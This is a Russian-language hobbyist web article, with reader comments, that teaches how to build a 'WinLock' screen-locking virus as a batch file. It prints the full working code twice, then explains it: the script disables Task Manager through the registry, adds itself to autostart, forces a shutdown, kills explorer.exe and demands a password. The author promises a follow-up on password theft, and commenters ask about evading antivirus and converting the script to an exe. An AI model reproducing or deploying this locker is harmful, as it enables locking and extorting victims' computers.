Здравствуйте, Гость | Суббота, 28.6.2025, 06:14 | RSS | Контакты
Категории раздела
Наш опрос
Ваша любимая игра?
Всего ответов: 550
Реклама
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » Статьи » Софт » Вирусы

Как сделать вин лок (WinLock)


Сегодня я роскажу вам как сделать обычный вин лок. Для тех, кто не знает что ето - гугл в помощь!


Вирус будем писать с помошью батника. Ето обычный вин лок, который состоит из 1 файла. Сразу кину весь код:

@echo off
cd %windr%
if exist %windr%\start.txt goto go
echo 1 > start.txt
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v tray /t REG_SZ /d C:\Windows\имя вируса.bat /f
Shutdown /t 0 /s
:go
taskkill /im explorer.exe /f >nul
title VIRUS — WinLock
color 0A
echo
Привет! Я - вирус!
pause > nul
cls
 echo Ваш пароль:
:metka
set /p x=
 if %x%==121212121212 (echo Правильно!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f >nul
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v tray /f >nul
start explorer
del %0
exit
)ELSE (
 echo Не правильно. ето не%x%
)
goto metka

Как видите в нем нету ничего сложного. Вирус создает "левый" файл, который служит опорной точкой для запуска, потом снимает процес  explorer.exe, пишет " Привет, я вирус!" и запашивает пароль. Кто не понял - читайте ниже.


Теперь давайте разберем код по частям:

@echo off
cd %windr%
if exist %windr%\start.txt goto go
echo 1 > start.txt
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v tray /t REG_SZ /d C:\Windows\имя вируса.bat /f
Shutdown /t 0 /s

переходим в директорию windows и создаем там файл  start.txt он нам нужен, т.к. мы будем перезагружать наш комп. Следующие 2 строчки запрещают диспеччер задач и прописывают наш файл в автозагрузку.


taskkill /im explorer.exe /f >nul
title VIRUS — WinLock
color 0A
echo
Привет! Я - вирус!
pause > nul
cls
 echo Ваш пароль:

Тут мы разговариваем с позльзователем


:metka
set /p x=
 if %x%==121212121212 (echo Правильно!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 0 /f >nul
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v tray /f >nul
start explorer
del %0
exit
)ELSE (
 echo Не правильно. ето не%x%
)
goto metka

Ето -основная часть вин лока(как правило она особо не отличается). Здесь мы создаем метку, задаем значения пароля  121212121212, и если правильно - снимаем себя с загрузки, даем добро на пользование диспеччером задач, удаляем себя и все!


 Ну вот и все! Конечно, мождно добавить в вирус много другого... ну например вор логинов и паролей... но об етом статья будет потом.

Категория: Вирусы | Добавил: Alexey (23.09.2012)
Просмотров: 7319 | Комментарии: 22 | Теги: Вирус WinLock, как сделать вин лок, как сделать WinLock, вирус вин лок | Рейтинг: 4.7/3
Всего комментариев: 221 2 »
22 Лёха  
0
Сори скайп забыл написать...gotik6666

21 Лёха  
0
Слушай тут всё понятно.Скинь др.в скайп интеес есть=)если не трудно

20 миха  
0
никак не знаю как создать start.txt
ответь плиз

19 миха  
0
как создать start.txt

18 Жека  
0
Привет а он антивирусник пачемуто его не замечает? и если его переделать черес прогу в формат exe он будет действовать? и если хочеш содать на автозапуске что обезательно в директорию windows и создаем там файл start.txt он нам нужен надо это делать или нет ответь пажалуста!

15 Александр  
0
и кстати что делают вот эти скобки:
)ELSE (
echo Не правильно. ето не%x%
)

16 Alexey  
0
Ети строки говорят, что "Ето не %х% пароль!". Где %х%- там ваш пароль. В данном случаи ето 12121212, так как именно етот пароль мы указали здесь:
Код
if %x%==121212121212

14 Александр  
0
То есть можно потестить на своем компе?

17 Alexey  
0
Да, но вместо слов будут символы типа: яЕхтшЭ!
Поскольку наши символы в досовском окне не поддерживаются. Если интересно - могу дать прогу, которая переводить символы в текст.
P.S. не забудьте записать пароль

10 sceNox  
0
И ещё вопрос вот эту строку:echo Не правильно. ето не%x% оставить без изменения??

13 Alexey  
0
Не понял вопрос... Если "что менять?", то меняете 12121212, а не %х%
Код
if %x%==121212121212

Ну например хочу я пароь 13711. Тогда у меня будет такое:
Код
if %x%==13711

9 sceNox  
0
А пароль можно поменять на свой???

11 Alexey  
0
Конечно! Пароль можете менять на свой...

8 USRayMay  
0
Слушай а где какчать?Я найти не могу(Я селпой просто)

1-10 11-14
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]